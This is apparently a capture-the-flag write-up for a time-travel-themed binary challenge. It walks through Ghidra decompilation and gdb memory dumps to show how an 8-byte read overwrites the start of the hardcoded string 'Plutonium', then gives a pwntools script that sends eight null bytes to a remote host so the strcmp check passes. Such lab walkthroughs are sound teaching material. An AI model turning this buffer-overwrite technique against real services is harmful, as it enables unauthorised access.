Marty, I found a letter from someone in my pocket that says Time Travel is possible and provides the ingredients and a secret formula. The note is not 100% readable due to the time and I cannot fully understand the handwritting either. Please help me read the note and let's get to work creating this thing!
Understanding the challenge
The challenge presents a randomly-coloured flask with a story, and asks for the missing ingredient:
Behind the scenes, we can understand more about the code from Ghidra’s decompiled version:
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char local_20 [7];
undefined8 local_19;
undefined local_11;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setup();
banner();
story();
local_19 = 0x75696e6f74756c50;
local_11 = 0x6d;
read(0,local_20,8);
iVar1 = strcmp(local_20,(char *)&local_19);
if (iVar1 == 0) {
success();
}
else {
fail();
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return 0;
}
In terms of security protections against exploitation, the binary has most of the checkboxes ticked:
The challenge reads the ingredient from user input into the variable local_20
(8 bytes), and compares it with the hardcoded ingredient Plutonium (9 bytes) - 0x75696e6f74756c50
and 0x6d
.
Vulnerability identification
To locate the vulnerability, we need to examine the stack before the comparison which leads to success()
is being made:
=> 0x555555400efd <main+92>: call 0x555555400a00 <strcmp@plt>
0x555555400f02 <main+97>: test eax,eax
0x555555400f04 <main+99>: jne 0x555555400f0d <main+108>
0x555555400f06 <main+101>: call 0x555555400b9a <success>
0x555555400f0b <main+106>: jmp 0x555555400f12 <main+113>
0x555555400f0d <main+108>: call 0x555555400c40 <fail>
0x555555400f12 <main+113>: mov eax,0x0
0x555555400f17 <main+118>: mov rcx,QWORD PTR [rbp-0x8]
According to the Linux x64 calling convention, the first two function parameters are accessed via the RDI and RSI registers:
// Plutonium (hardcoded)
gdb$ x/16b $rsi
0x7fffffffde0f: 0x50 0x6c 0x75 0x74 0x6f 0x6e 0x69 0x75
0x7fffffffde17: 0x6d 0x00 0x1b 0x6d 0x5b 0xc6 0x4c 0xe2
// Ingredient (user input - ABCD)
gdb$ x/16b $rdi
0x7fffffffde08: 0x41 0x42 0x43 0x44 0x0a 0x00 0x00 0x50
0x7fffffffde10: 0x6c 0x75 0x74 0x6f 0x6e 0x69 0x75 0x6d
0x7fffffffde18: 0x00
gdb$ x/s $rsi
0x7fffffffde0f: "Plutonium"
gdb$ x/s $rdi
0x7fffffffde08: "ABCD\n"
So we can read 8 bytes, and the 8th one will overwrite the first letter of the first letter of the hardcoded ingredient, 0x50
(P).
Exploitation
Even if not obvious straight away, the exploitation is actually quite easy. The only option to make the two strings equal is to make them both NULL
, by sending 8 zeros as the secret ingredient.
from pwn import *
conn = remote('<IP>', '<PORT>')
# Receive formula
print(conn.recvrepeat(2))
conn.send('\x00' * 8)
print(conn.recvrepeat(2))
conn.close()